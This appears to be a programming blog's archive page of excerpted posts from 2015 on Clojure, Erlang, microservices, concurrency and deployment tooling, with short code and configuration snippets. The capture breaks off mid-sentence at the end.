## Technology

October 10th, 2015

# A Java Hashmap is not a Clojure collection

I did not know this till just now. I have a co-worker who wrote a library in Java. From my Clojure code, I call this Java function:

public HashMap<String,HashMap<String,Integer>> init(String debrief,String companyName, ArrayList<String> contacts, ArrayList<String> accounts, ArrayList<String> requiredFields) { try { return transformer.transform(debrief, companyName, tecClassifier, rollioClassifier, caseClassifier, caselessClassifier, customClassifier, pipeline, parser, props, firstNames, lastNames, accounts, contacts, requiredFields); ...

October 10th, 2015

# The TCP checksum is weak, and the Ethernet checksum will accept corrupt TCP that passed the TCP checksum

Interesting:

At Twitter, a team had a unusual failure where corrupt data ended up in memcache. The root cause appears to have been a switch that was corrupting packets. Most packets were being dropped and the throughput was much lower than normal, but some were still making it through. The hypothesis is that occasionally the corrupt packets had valid TCP and Ethernet checksums. One “lucky” packet stored corrupt data in memcache. Even after the switch was replaced, the errors continued until ...

October 10th, 2015

# When is computer programming easy?

Interesting:

While it is often thought that “real” programmers like real programming environments (my husband, for instance, is perfectly happy in MF Assembler, which is pretty grim), most programmers seem to become pretty happy moving up to graphical user interfaces and visual environments where they choose from a list of “correct” choices. I don’t think it is only users that can be more productive when they are better supported.

I believe there is a direct relationship between the ease of use of ...

October 6th, 2015

# How easy is it to write immutable Javascript?

If you reinvent the language as a new language, then you can have immutable Javascript. On the frontend you have no choice, but on the backend? Why not use a language that offers what you need upfront, rather than forcing you to work for it? Interesting:

The main issue I’ve had using immutablejs with Redux is debugging. Whereas previously I could simply mouse-over a data structure when I hit a breakpoint (or crash), I now have to do a REPL ...

October 4th, 2015

# Erlang – OTP – Cowboy are the cutting edge

At the current time, the only thing out there, in the tech industry, that might cause me to move a way from Clojure, is something build around the Erlang VM . In those situations where performance and massive concurrency are needed, something like Erlang/Cowboy or Elixir/Phoenix need to be looked at.

I load tested (using wrk) nginx serving a two line, static HTML file, against a basic Cowboy service that parsed parameters, did an ETS lookup, and rendered several hundred ...

October 4th, 2015

# Clojurescript as the frontend to Erlang

Radically different, yet becoming more common:

We use vanilla SmartOS, so that there is no dependency on FiFo for your running VM’s. You could just switch FiFo off and all your VM’s would continue to just work. It also comes with a number of great advantages:

In our opinion, ZFS is simply the only file system that should ever be used – period.

Compression, ARC and ZIL work incredibly well, especially for DalmatinerDB which achieves amazing throughput partially thanks to being purpose ...

October 4th, 2015

# Hacking environmental protection features

Interesting:

Well, it turns out that all this environmental friendliness is starting to trip over itself, because most devices now start up in standby mode. So you can’t just power them on to power them on, you have to power them on and hit a button on the remote. Some devices, by pure dumb luck I assume, will accept the switch already being pressed in when they start. If that’s the case, you can hack the behaviour you want if you ...

September 26th, 2015

# The Recursive Function Pattern Matching Pattern

Sean Johnson has a great video up. Common in Erlang, useful in Clojure, 3 functions, one to start, one to do the work, one to end, all defined by arity, using Pattern Matching.

Also called the “Start, Work, End” pattern.

This is often done in Clojure with zipmap, but this does not make things as clear as the Erlang version:

This is much more clear:

Source

September 26th, 2015

# Best practice pattern matching in Clojure

If your function starts with a conditional, replace that with pattern matching:

Source

September 16th, 2015

# Clean up your act with lein-checkall

I am a bit late but I’ve only recently become consistent about using a linter to check my Clojure style. And I’ve only today discovered the Leiningen plugin lein-checkall, which combines lein check && lein kibit && lein eastwood && lein bikeshed.

Venanti has written about the importance of these:

Eastwood

Eastwood is a Clojure linter, invoked with lein eastwood. As a general request, please use a linter. Some of my favorite moments in the last year have come from people trying to ...

September 13th, 2015

# Calculating and Visualizing Voronoi Diagrams using the Quad-Edge Structure – Alan Shaw

Allan Shaw talks about a data structure called a “quad edge”. There were a lot of ideas here that were new to me. The data structure keeps rotation as one value, and the orientation of the edge as one value, but anything like coordinates are kept in a field called “data”. This separates the topology from the geometry. There is also a “next” function to find the next edge. This, apparently, gives great advantage when calculating a whole network of ...

September 12th, 2015

# Microservies mean freedom of future action

Interesting:

In short, maximize future freedom of action. This heuristic also answers the when and why questions for microservices.

To prove it, let’s start with Sprott & Wilkes on SOA. Wait, Service Oriented Architecture? SOA is microservices loving parent. The philosophy trickles down:

When the service is abstracted from the implementation it is possible to consider various alternative options for delivery and collaboration models. […] It is entirely realistic to assume that certain services will be acquired from external sources because it ...

September 11th, 2015

# Why are microservices happening now?

The term “microservices” only goes back to 2013. I would have trouble saying why I love the style so much, except that I hated dealing with Ruby On Rails and the PHP framework known as Symfony. I was willing to deal with a lot to get away from the pain of those systems. The growth of great package managers also seemed to weaken the need for monoliths.

But Martin Fowler says the most important change was the move to Continuous ...

September 11th, 2015

# The difference between Clojure and Common Lisp

Fascinating bit by Giles Bowkett. This uses recursion and is how you would do it in Common Lisp:

(defn build [list-1 list-2] (if (nil? list-1) () (concat (map (fn [bubble] (list (first list-1) bubble)) list-2) ...

September 11th, 2015

# Microservices are different

It does feel like the world is moving closer to distributed IPC. We are not there, but the push toward microservices seems a step in that direction. The warnings of the past feel less relevant now.

When I wrote Patterns of Enterprise Application Architecture, I coined what I called the First Law of Distributed Object Design: “don’t distribute your objects”. In recent months there’s been a lot of interest in microservices, which has led a few people to ask whether microservices ...

September 11th, 2015

# Zach Tellman — the need for backpressure in queues, and the limits

This is very good. A lot of this interesting, but perhaps the biggest surprise is when he adds 16 consumers of tasks, but also 16 producers of tasks, the crisis point comes suddenly, compared to when there was only 1 consumer and 1 producer. With multiple consumers the consumption is averaged out, so each machine works fine right up to the moment of crisis.

His main theme is “Unbounded queues are fundamentally broken because it puts the stability of our ...

September 11th, 2015

# Dynamic scope in Clojure

The interesting thing here is that the dynamic vars are wrapped in functions, which makes them a bit safer than dynamic scope would imply.

Each of these sub-clauses is very similar to the parent structures, and can be arbitrarily nested. As such, it is most easily constructed with a recursive function. However, Clojure’s let bindings are lexical, and don’t extend into recursive calls. We could make the memoized gensym call a parameter, but since we also need a separate generator ...

September 11th, 2015

# This instance doesn’t do much, but it does have a nice property: it’s only equal to itself

This is a very clever hack:

Graphviz assumes explicit identities for nodes, so what about when we want to represent a tree? We can’t simply use the identity of the node, because the same value at different positions within the tree must be treated as separate nodes. One possibility is to represent each node as a tuple of its value and its position in the tree, but this forces us to consider how to represent positions, which is neither obvious nor ...

September 11th, 2015

# The 8 fallacies of distributed computing

This is great:

The IT group usually has different administrators, assigned according to expertise–databases, web servers, networks, Linux, Windows, Main Frame and the like. This is the easy situation. The problem is occurs when your company collaborates with external entities (for example, connecting with a business partner), or if your application is deployed for Internet consumption and hosted by some hosting service and the application consumes external services (think Mashups). In these situations, the other administrators are not even under ...

September 10th, 2015

# Is Gradle the best build tool for the JVM?

Gradle continues to innovate with new features.

Is Buildr dead? Buildr is now part of Apache and yet its last update was over a year ago. I tried to use Buildr this year but I ran into errors and when I searched on Google I found all of the advice was many years old. No one responded to my question on StackOverflow. I’m left thinking that Buildr is dying.

Gradle has an awesome bunch of plugins and the eco-system is growing. ...

September 10th, 2015

# No locks for performance under load with concurrency

Interesting:

It’s quite clear that the lock-free approach scales a lot better under contention. This follows our intuition because lock-freedom allows system-wide progress even when a thread is blocked. If one goroutine is blocked on an insert or lookup operation, other operations may proceed. With a mutex, this isn’t possible.

Matchbox performs well, particularly in multithreaded environments, but there are still more optimizations to be made. This includes improvements both in memory consumption and runtime performance. Applying the Ctrie techniques to ...

September 10th, 2015

# Use Specter to transform Clojure’s lists

Interesting:

To change the name of all the stations named “Barista” to “Coffee Master”, I can use a for comprehension:

(for [site sites station (:stations site)] (if (= (:name station) "Barista") (assoc station :name "Coffee Master") station))

But using Specter:

(->> sites (transform [ALL :stations ALL #(= (:name %) "Barista")] #(assoc % :name "Coffee Master")))

Now, this example is not actually doing justice to Specter. But in a previous (superseded) versions of the ...

September 10th, 2015

# Matthew Phillips makes the case of Clojure’s “for” comprehensions

I am lazy so I would probably handle this with “reduce” as I then have a free-form function in which I can do whatever I want. And yet, list comprehensions are more idiomatic. Their limits make it more obvious what the structure of data should be. And for deeply nested items, they can handle everything at once, rather than needing to do nested calls to “reduce”.

But you can also do it this way, using a list-comprehension in Clojure’s for ...

September 10th, 2015

# Prismatic’s Schema is better than Typed Clojure because it has coercions

Interesting:

One very useful feature of Prismatic/schema which core.typed does not have is called coercions. With this feature you can both validate your data structure and transform it to the desired state. This is particularly useful when validating input data from a database or ring request and doing all the string->int, kebab-casing etc in one step. The net effect being much less defensive code ‘on the other side’ of the coercer since you can rely on the exact shape of the ...

September 10th, 2015

# Why is microservices popular now?

This is a word that came out of nowhere and took over the industry.

I wrote a good essay about microservices a few months before the word was invented.

Martin Fowler came up with the word microservices a few months later. He said:

Microservice practitioners, usually have come from an evolutionary design background and see service decomposition as a further tool to enable application developers to control changes in their application without slowing down change. Change control doesn’t necessarily ...

September 10th, 2015

# Fortran still survives

Interesting:

When you actually take a look at the bulk of FORTRAN, it looks suspiciously like C — and it has C linkage. So, to me personally, I lump FORTRAN and C together in my head and then the question becomes “What real advantage does the switch to C++ from C have for you?”. You can find vast amounts of information on the web to answer that question :)

I have not known a single person in over a decade to ...

September 10th, 2015

# Checkpoint and Restore In User Space (CRIU)

Interesting:

Luckily for us as we were investigating this possibility we ran into an incredibly ambitious open source project called Checkpoint and Restore in User Space (or CRIU for short). The name says it all. CRIU aims to give you the same checkpointing capability for a process tree that virtual machines give you for an entire computer. This is no small task and actually required changes to the mainline Linux kernel to pull off. The original goal of this project ...

September 10th, 2015

# Mutable versus Immutable history

What really happened? What is the state of your system?

Explaining the ideal behavior of our notebooks is relatively simple: regardless of how you enter or edit cells, it should show the results of executing the file from top to bottom: the same way node does. The easiest way to accomplish this of course is to just re-run the entire document from the start after every change. This is in fact how the “rewind” feature in works in bpython. Of ...

September 9th, 2015

# The conceptual clarity of CQRS

Interesting:

I found the cognitive load to be less than with other service based architectures I have worked on. I could jump into any area of the code base and because of the naming conventions for commands and events I could see what was going on – this has never been my experience with a service oriented architecture.

The main change in developer thinking that is necessary is that you don’t record state you record state transitions. Once that is internalised ...

September 7th, 2015

# Things that make Clojure beautiful: namespace declarations

In Python, and Java, the import statements at the top of the file are big jumble of disorganized statements. In Clojure the namespace declaration is a data structure that can be cleaned up using all the tools Clojure has for working on a data structure. Apparently that is the idea behind Slamhound, which detects when imports are not being used. That is clever. I did not know about Slamhound. I will have to check that out.

Also this:

which was ...

September 5th, 2015

# Is frontend Clojure development the best frontend development eco-system

I have not done much frontend work these last 3 years, so I am out of touch, but wow, there is a lot going on:

The first step is to define the routes we want. One of the designing features of bidi is that routes are data structures, not function/macro calls:

(def routes ["/" {"" :home "about" :about}])

The app-routes ...

September 5th, 2015

# Limit the number of threads in Jetty

I do something similar, but I like the use of env, which I do not do:

(defn -main [& args] (let [config {:port (Integer/parseInt (or (env :port) "3000")) :join? false :min-threads (when (env :min-threads) (Integer/parseInt (env ...

September 5th, 2015

# Use ZeroMQ instead of Kafka

Considering how radically different these are, this is a funny comparison:

Stability was the key aspect of Kafka we were unhappy with after a yearlong journey with it.

An HA deployment of Kafka requires an HA deployment of zookeeper, which Kafka uses to coordinate distributed state and configuration. As I explained before, we’ve experienced a number of stability issues with this stateful cluster maintaining consistency through outages such as VM recycle. Some serious engineering time was going into reacting to issues, ...

August 30th, 2015

# Matrices are representations of linear transformations

A good intro to an amazing topic:

Source

August 29th, 2015

# Rich Hickey: Would you want to be on a team that only did what was easy?

A dangerous attitude: “I like this because its easy for me right now.” Rich Hickey talking at the Rails conference. In the obvious case, this is a wonderful criticism of Rails.

He asks if anyone would want to join the Foo Fighters if they were the Kazoo Fighters. What if they felt guitars and drums were hard, so they only played kazoos, because kazoos are easy?

We should make decisions based on the work we need to do, not because ...

August 29th, 2015

# Hashmaps are not simple

Interesting:

I was at this talk and I disagree with his fundamental statement that simple + simple = simple. I program in Ruby one of the biggest problems beginners make is not creating complex data structures where they are needed. Instead they pass around hashes of hashes of hashes. Why? Hashes are simple, they’re easy to understand and work with. Unfortunately this initial simplicity introduces unexpected complexity, things like deep dup and deep merge are now needed. Every part of ...

August 26th, 2015

# Garajeando takes on the Gilded Rose Kata in Clojure

I dislike this line:

not-conjured-item-name (clojure.string/replace name #”Conjured ” “”)

Seems like calling “update” twice could be done with the opposite of this test:

(if (.contains name “Conjured”)

How to find the name of the unconjured item? I agree that is a tough issue.

For something this short, perhaps it doesn’t matter, but if this was non-trivial software, I would store a “:conjured” key in “items” and match against that. Seems less fragile than matching against a string. ...

August 26th, 2015

# Stuart Sierra’s anti-patterns for Clojure

This is a subtle difference:

Be explicit about your types even when they’re dynamic.

If the operation requires a collection, then pass it a collection every time.

A “helper” like wrap-coll saves you a whopping two characters over just wrapping the argument in a literal vector, at the cost of lost clarity and specificity.

If you often forget to wrap the argument correctly, consider adding a type check:

(defn process-batch [items] {:pre [(coll? items)]} ;; ... )

If there actually are two distinct ...

August 26th, 2015

# Hauptsatz is the central result establishing the significance of the sequent calculus

An interesting preliminary for sequent theory. I’m interested because of my interest in Shen.

The cut-elimination theorem (or Gentzen’s Hauptsatz) is the central result establishing the significance of the sequent calculus. It was originally proved by Gerhard Gentzen 1934 in his landmark paper “Investigations in Logical Deduction” for the systems LJ and LK formalising intuitionistic and classical logic respectively. The cut-elimination theorem states that any judgement that possesses a proof in the sequent calculus that makes use of the cut ...

August 26th, 2015

# Natural language processing (NLP) is a messy and difficult affair

Interesting:

Similar words are nearby vectors in a vector space. This is a powerful convention since it lets us wipe away a lot of the noise and nuance in vocabulary. For example, let’s use gensim to find a list of words similar to vacation using the freebase skipgram data6:

from gensim.models import Word2Vec fn = “freebase-vectors-skipgram1000-en.bin.gz” model = Word2Vec.load_word2vec_format(fn) model.most_similar(‘vacation’)

# [('trip', 0.7234684228897095), # ('honeymoon', 0.6447688341140747), # ('beach', 0.6249285936355591), # ('vacations', 0.5868890285491943), # ('wedding', 0.5541957020759583), # ('resort', 0.5231006145477295), # ('traveling', 0.5194448232650757), # ('vacation.', 0.5068142414093018), # ('vacationing', ...

August 23rd, 2015

# Why use Clojure at your startup

I guess these are becoming the standard set of answers?

The specific design decisions and abstractions in clojure which I expect to minimize costs are the following:

Immutability. Engineering is a super giant rubics cube. To solve it, you need to know each moving part. When you get all the moving parts to finally be in the correct locations and move together, that’s when you’ve solved it. Immutable data structures don’t move. The less moving parts you have, the more brainpower ...

August 23rd, 2015

# E.W.Dijkstra on multi process systems

There was some moment, in the late 1960s and early 1970s, when the field of computer science hit a happy fluid moment. By that point, a large number of people had been working with computers for 20 years, so they knew what worked and what did not work, and yet nothing had been settled yet, no architectures dominated. And then, suddenly, computers became a monoculture with standard parts:

1.) a CPU

2.) random access memory

3.) a storage device such as a ...

August 23rd, 2015

# C. A. R. Hoare in 1973

I am surprised at how little has changed since 1973:

I would like in this paper to present a philosophy of the design and evaluation of programming languages which I have adopted and developed over a number of years, namely that the primary purpose of a programming language is to help the programmer in the practice of his art. I do not wish to deny that there are many other desirable properties of a programming language, — for example, machine independence, ...

August 22nd, 2015

# Paul deGrandis in 2012, the emergence of Clojure success stories

I like this talk by Paul deGrandis because he says he is not an Enterprise guy, he is a startup guy, and he says Clojure is more a startup technology than an Enterprise technology. I like that because I work with startups. Some people say that Clojure is best as Clojure In The Large, but I don’t work in the large. He says Enterprise CTO’s are driven mostly be fear.

Clojure is great for building a prototype that can become ...

August 22nd, 2015

# Camille Fournier (Rent the Runway) – Consensus Systems for the Skeptical Architect

ZooKeeper owns your availability. Worth watching. I thought it was amazing when she said that even 5 years ago, even at Google, most programmers were not thinking in terms of distributed computing. Instead, its been the boom in microservices that has driven the adoption of distributed computing. I wonder why microservices wasn’t more popular 10 years ago? Everything in software started off monolithic and has gotten smaller. I suppose that is because of the increasing ease of composition?

Source

August 20th, 2015

# Concurrency is easier with Clojure

I’m helping a co-worker write concurrent code in Java. I’m reminded, once again, that Clojure is easier. In Java, we must wrestle with the issue of synchronized blocks. We have an operation that reads a value from a hashmap and then deletes the key from the hashmap. We are using the hashmap almost like a queue: many threads might read from this hashmap, and yet we only want one thread to read from this hashmap. Therefore, both the read and ...

August 20th, 2015

# SSL for Jetty via Apache reverse proxy

I found this to be useful

<VirtualHost *:443> SSLEngine on (...) ProxyRequests Off ProxyVia Off ProxyPreserveHost On AllowEncodedSlashes NoDecode RequestHeader set X-Forwarded-Proto https RequestHeader set X-Forwarded-Port 443 <Proxy *> Order deny,allow Allow from all </Proxy> <Location /test> ProxyPass http://localhost:8666/test nocanon </Location> (...) </VirtualHost> Source

August 20th, 2015

# How to create a POJO in Clojure

The premise sounds interesting:

Those times you need to have Java APIs.. Some of these APIs need to return data. In Clojure it is usually a map:

{:q “What is..?” :a 42}

In Java it is not that simple for several reasons.. Java maps are mutable, there are no idiomatic tools to inspect, destructure them, Java (programmers) like different types for different POJOs, etc..

I would have appreciated an actual example. The great thing about Clojure is how it makes data access easy. ...

August 20th, 2015

# SalesForce is confusing

Reading through SalesForce documentation I constantly come upon 404 errors:

They don’t keep the documentation up to date.

SalesForce has so many products that it is difficult to figure out which bit of documentation applies to whatever it is that you are trying to do.

Consider the question, “When does it make sense to add a Connected App to a Managed Package?” This is something I’ve wondered. And no one can give me a reliable answer.

One answer makes it ...

August 20th, 2015

# Zookeeper Owns Your Availability

Interesting:

In Camille Fournier’s excellent talk on consensus systems, she advises that “Zookeeper Owns Your Availability.” Consensus systems are a necessary and powerful tool, but they add complexity and new failure modes. Specifically, if the consensus system goes down, you can’t do work any more. In Chronos’s case, you’re not just running one consensus system, but three. If any one of them fails, you’re in for a bad time. An acquaintance notes that at their large production service, their DB ...

August 20th, 2015

# Bad habits: someone reports a bug so you insult them

This is a good example of how to do things wrong. Kyle Kingsbury did another one of his epic posts on Jespen. Every one of his posts so far has been a masterpiece of technical investigation. In the latest article he found a bug in Chronos, and he created an “issue” on Github. One of the programmers of Chronos then insulted him.

Kyle Kingsbury says:

I’m still not clear how exiting preserves correctness and prevents “split brain behavior”, but I’ve ...

August 11th, 2015

# Redis Out Of Memory error

Interesting:

I’m getting “OOM command not allowed” when trying to set a key, maxmemory is set to 500M with maxmemory-policy “volatile-lru”, I’m setting TTL for each key sent to redis.

info command returns : used_memory_human:809.22M

If maxmemory is set to 500M, how did I reached 809M ? Info command does not show any Keyspaces , how is it possible ? keys * returns “(empty list or set)” ,I’ve tried to change db number , still no keys found. Here is info command output:

redis-cli -p 6380 ...

August 11th, 2015

# The wrk command replaces Apache Bench

Apache has long had a strange gap in its testing tools. There was “bench” and there was “flood”. bench is easy but only handles HEAD requests. flood can do everything but requires a complicated XML config.

Now the team at Netty have spun off the wrk command, which looks very useful:

wrk - a HTTP benchmarking tool wrk is a modern HTTP benchmarking tool capable of generating significant load when run on a single multi-core CPU. It combines ...

August 5th, 2015

# The basics of working with Supervisord

I’ve come up with a system whereby:

1.) Jenkins pulls our code from the master branch on Github

2.) I wrote a build script that I store in /usr/local/bin

3.) Jenkins calls the build script as one of its build steps

4.) I wrote a script that finds the PIDS of existing instances of the app, and kills them:

#! /bin/sh ps aux | grep SSAM | awk '{print $2}' | xargs kill 5.) Jenkin calls the kill script as its last build step 6.) ... Read More Source August 4th, 2015 No Comments # Supervisord is Python A reminder to myself, liking Supervisord entails liking Python idioms: A [program:x] section actually represents a “homogeneous process group” to supervisor (as of 3.0). The members of the group are defined by the combination of the numprocs and process_name parameters in the configuration. By default, if numprocs and process_name are left unchanged from their defaults, the group represented by [program:x] will be named x and will have a single process named x in it. This provides a modicum of backwards compatibility ... Read More Source August 1st, 2015 No Comments # The humility of the Clojure community Very true: I was bragging to Alan about a Drake release, which I was calling 0.2.0. Alan rolled his eyes. He was like, “Considering the conventions put forth by Semantic Versioning, and considering that Drake has been in production at this company as well as other companies for years now, why not call it version 1 already?” I pushed back a bit, by surveying two existing open source Clojure projects I know of: Aleph, Zach Tellman’s notorious asynchronous library for ... Read More Source July 31st, 2015 No Comments # But you can customize the code? Mike Knepper says Ruby gems are dangerous, but I am ambivalent: The real problem with Devise commandeering all these components is that it makes the system extremely rigid. If the business logic changes (and yes, it will change) in a way that affects user sign-in or account creation, the developer is limited to modifying the app within the constraints of Devise. The developers behind Devise may not have anticipated a situation quite like yours, so getting Devise to work with the ... Read More Source July 31st, 2015 No Comments # Refactor async work in Ruby Kevin Buchanan makes an interesting point: But, that’s starting to seem like a lot of behavior, and maybe that behavior is crucial enough to our application that we want to have more control over it, or want one place to go to change how we retry asynchronous tasks in our application. If we consider this retry, backoff, failure logic a key feature of our app, we probably don’t want to be coupled to using Sidekiq for this. What if tomorrow ... Read More Source July 30th, 2015 No Comments # Innovation has slowed since the 1970s Interesting: “Real rocket science” took place almost 50 years ago, with the Apollo moon landing. The Apollo missions set the speed record for humans at roughly 40,000 km/hour. But after that, the rocket science advances started to slow down. From 1685 on, the number of scientific papers published doubled every fifteen years—he likened it to Moore’s Law—but that leveled off in the 1970s. Who was doing this rocket science, he asked; who was programming these rockets and spacecraft to land on the ... Read More Source July 29th, 2015 No Comments # Could I ever explain monads to someone else? I would like to get to the point where I feel comfortable explaining monads to others: In functional programming, a monad is a structure that represents computations defined as sequences of steps: a type with a monad structure defines what it means to chain operations, or nest functions of that type together. This allows the programmer to build pipelines that process data in steps, in which each action is decorated with additional processing rules provided by the monad.[1] As such, ... Read More Source July 28th, 2015 No Comments # When to use repeating tasks inside of an app? I would guess the best thing about cronj is its focus on thread management. And yet, I am in favor of very small apps, which may only have a single task that repeats. But this raises problems for the JVM. If I bundle all tasks into a single JVM process, then the highly optimized JVM engine can take full advantage of the careful thread management of cronj. If I have separate apps, then they compete for resources (though the newest ... Read More Source July 28th, 2015 No Comments # Why Docker failed Interesting: Building container images for large applications is still a challenge. If we are to rely on container images for testing, CI, and emergency deploys, we need to have an image ready in less than a minute. Dockerfiles make this almost impossible for large applications. While easy to use, they sit at an abstraction layer too high to enable complex use-cases: Out-of-band caching for particularly heavy-weight and application-specific dependencies Accessing secrets at build time without committing them to the image Full control over ... Read More Source July 28th, 2015 No Comments # Trying to convince devs of the merits of Clojure Interesting: Leon Grapenthin: I have tried various different approaches from convincing of Clojure advantages in the Java devs concrete domain, showing off incredibly awesome toy projects, larger projects, not tryng to sell, trying to sell, sending ClojureTV videos and what not approach you can think of. I have not managed to introduce one Java dev to Clojure in a way that he picked it up and had no interest before. I have spent many hours thinking about how I could ... Read More Source July 28th, 2015 No Comments # The limits of RESTful interfaces Interesting: The chart leaves most of the rows blank for the year 1995, but of course, all of the necessary technologies existed in 1995, and in 1989. The focus of the article is on HTTP, but the article might be stronger if it confronted why HTTP was successful, when it lacked important abilities such as Authentication. There were other technologies that offered Business Logic and Logging and Realtime, back in 1989, so why weren’t they more successful? It’s also curious ... Read More Source July 28th, 2015 No Comments # Mutable arrays in Clojure Chris Zheng has done some impressive work with mutable arrays: Predicates as Datastructure I’m quite proud of the expressiveness of the ova syntax. We can see below the number of possible ways that we can select elements out of the array. Here is just a sample of what can be done using the select function. (def ov (ova [{:val 1} {:val 2} {:val 3} {:val 4} {:val 5} {:val 6} ... Read More Source July 27th, 2015 No Comments # When should Clojure imitate Object Oriented Programming? Chris Zheng writes: Servers that are running on a particular port can be tracked and stopped. I have to say, this was the feature that I wanted the most, which motivated the framework’s design. The annoying thing about development in emacs is that I have to be careful of not losing the reference to the server. Since there was no way of stopping it unless the repl is restarted. I wanted to implement a registery for references to running servers ... Read More Source July 26th, 2015 No Comments # The maybe monad represents computations whose result is maybe a valid value, but maybe nil Here is a sentence I have read a dozen times without understanding it: The maybe monad represents computations whose result is maybe a valid value, but maybe nil. This seems like a good way to think about the Any type, when dealing with things such as Typed Clojure. Source July 26th, 2015 No Comments # The sins of Adam Bard This last year I find that everything Adam Bard writes is worth reading. I have not been checking his blog very often but I should. I just saw this post from a year ago, which is really fantastic: Any time you put a let in a let or an if in an if, that’s a strong code smell. It means you’re still writing code in a way that requires you to short-circuit your functions with returns. There is a fascinating debate ... Read More Source July 25th, 2015 No Comments # Scheduling libraries in Clojure Chris Zheng has some interesting arguments for his particular take on these issues: There are now many more scheduling libraries in the clojure world: at-at chime clj-cronlike cron4j monotony quartzite schejulure With so many options, and so many different ways to define task schedules, why choose cronj? I have listed a number of design decisions that make it beneficial. However, for those that are impatient, cut to the chase, by skipping to the simulations section. …In reviewing other scheduling libraries, it was found that fully-featured thread management capabilities were ... Read More Source July 25th, 2015 No Comments # Will I regret Functional programming? I’ve spent the last year writing negative things about Object Oriented Programming, and I’ve been among the many people arguing that Functional Programming is the future. And I’ve talked about the political forces that drove the adoption of Object Oriented Programming. But that does raise the issue, what political forces are driving the adoption of Functional Programming? One possible answer is “None” and that would explain why Functional Programming remains a small niche compared to Object Oriented Programming. Another is ... Read More Source July 24th, 2015 No Comments # Why Python 3.x went off course A fascinating post from 2005, which is when Python began to veer off course. Python 2x had some beautiful features that could have been further developed, but instead, with 3.0, Python went down the classic Object Oriented road. In this post, Guido van van Rossum explicitly rejects much of the Functional paradigm that Python had picked up from Lisp. So now reduce(). This is actually the one I’ve always hated most, because, apart from a few examples involving + or *, ... Read More Source July 24th, 2015 No Comments # They cost of using Hystrix Ouch! We cannot use Clojure’s concurrency primitives (futures/promises/agents). That is fascinating to think that at some point Clojure’s concurrency primitives are not enough, and so we need to give up on them and move to a Java library. I am aware that Netflix is dealing with unusual scale, but what is the point of Clojure if it doesn’t automate exactly these issues? The comments are interesting: Marc: When using Aleph, the choice for lamina would seem a sure thing. What made you turn ... Read More Source July 24th, 2015 No Comments # The simplest step toward circuit breakers in Clojure I think I missed the importance of this the first time I read it: Consider you have this line within a service response: {:body @(future (client/get “http://soundcloud.com/blah/wah”)) :status 200} Now http://soundcloud.com/blah/wah goes down and those client requests start getting blocked on the request. In Clojure all future calls acquire a thread from the same thread pool. In our example the service is blocked up, is pilling new requests onto the blocked pool and we are in trouble. My first solution to this problem ... Read More Source July 24th, 2015 No Comments # Chris Zheng is consolidating his libraries into Hara I have some questions for Chris Zheng. I admire Ribol very much, though I was not aware of some of the other repos. I am curious why you are moving forward with an integration of these libraries? The Clojure community has so far avoided frameworks and even large libraries have met with rejection. What do you hope to gain by consolidating these projects? The projects: iroh has been moved to hara.reflect ova has been moved to hara.concurrent.ova cronj has been superceded by ... Read More Source July 24th, 2015 No Comments # Property based testing in the Functional Paradigm Interesting: Which brings me to another killer feature of many functional languages: property-based testing (PBT). While PBT is by no means an exclusive domain of functional languages, it does have deep roots in Haskell in the form of QuickCheck. What sets PBT apart from its traditional unit and integration brethren is its emphasis on defining a set of properties that describe a function and ability to generate a lot of random test cases to attempt to falsify these specifications. This ... Read More Source July 24th, 2015 No Comments # Functional programming is not the same as static typing I like this article, but it does confuse Functional Programming with static data types. Consider this example of evil Ruby code: Take for instance the following Ruby code that uses Virtus. class Events < Array def Source July 24th, 2015 No Comments # Dealing with mutation is hard Obviously, I agree with this: Dealing with mutation is hard. When I constantly grappled with these issues early on in my career, I thought I had serious issues. Perhaps I wasn’t cut out to be a developer. Maybe I should seriously consider a different career. It didn’t help that other developers breezed through similar assignments as if mutation and them were one (don’t get any ideas). But then I started reading about functional programming and how everyone was endlessly whining about ... Read More Source July 16th, 2015 No Comments # The worsening web The comments here are great: Let’s dive deeper into the CNN article. Among the 200+ HTTP requests the page makes are calls to 25 different domains. Yes you read that correctly. TWENTY…FIVE. Among them are a few that are clearly ad related (ex. ad.doubleclick.net, pixel.moatads.com), a few that serve some analytics function, and many whose names are intentionally obfuscated to confuse us. Jeff Edsell: The part of web cruft I hate most: “Why does our page load so slow? Should you compress the images ... Read More Source July 16th, 2015 No Comments # Greg Hendershott looks at Racket Macros I wanted to ask Greg Hendershott for permission to copy his code in Clojure, but I could not find an email address for him. My own email is lawrence@krubner.com. I love this epilogue from Greg Hendershott: "Before I had studied Chan (Zen) for thirty years, I saw mountains as mountains, and rivers as rivers. When I arrived at a more intimate knowledge, I came to the point where I saw that mountains are not mountains, and rivers are not rivers. But ... Read More Source July 15th, 2015 No Comments # Vim has a function with 400 lines of code When I worked at Category4, they had a homegrown HTML library. The method that generated HTML tables was over 1,100 lines of code (not a typo). So I’ve seen some fairly large functions. Dealing with them is why I now prefer 5 line functions written in a clean language like Clojure. This is interesting: This function is over 400 lines and contains over 40 #ifdefs. Its job? To wait for keyboard input. Several factors caused this code to be so ... Read More Source July 15th, 2015 No Comments # What does the word “Cancel” mean? Some of the worst User Interface Design I’ve seen in awhile. The Amtrak website uses “Cancel” as the text on the button that cancels your reservation. Almost everywhere in the world, if you see a button that says “Cancel,” it means you do not want to do something. But Amtrak uses it here, so if you do want to cancel your reservation, you have to hit the Cancel button. Source June 21st, 2015 No Comments # Image recognition: we can not get there from here with what we’ve got Interesting: Leopards (or jaguars) are complex 3-dimensional shapes with quite a lot of degrees of freedom (considering all the body parts that can move independently). These shapes can produce a lot of different 2d contours projected on the camera sensor: sometimes you can see a distinct silhouette featuring a face and full set of paws, and sometimes it’s just a back and a curled tail. Such complex objects can be handled by a CNN very efficiently by using a simple rule: ... Read More Source June 21st, 2015 No Comments # Where does image recognition fail? Photo shows image recognition has a long way to go. Source June 20th, 2015 No Comments # How NodeJs fails to deal with backpressure Interesting: The Node concurrency model is kind of like a credit card for computing work. Credit cards free you from the hassle and risks of carrying cash, and they are completely great in almost every way, unless you spend more than you make. It’s hard to even know you have spent more than you make until the next bill comes. Similarly, node lets you do more work, and it’ll call you back when it’s done, whenever that is. You might not ... Read More Source June 19th, 2015 No Comments # Git history should show you reality, not a cleaned up version of reality Well said: The obsession of git users with rewriting history has always puzzled me. I like that the feature exists, because it is very occasionally useful, but it’s one of those things you should almost never use. The whole point of history is to have a record of what happened. If you’re going around and changing it, then you no longer have a record of what happened, but a record of what you kind of wish had actually happened. How are you ... Read More Source June 15th, 2015 No Comments # The New Netflix Netflix upgrades its website. I have my doubts about the heavy use of Javascript that’s become normal over the last 5 years. I got my current MacBook Pro in 2011 and for awhile it seemed like a fast computer. Nowadays, however, if 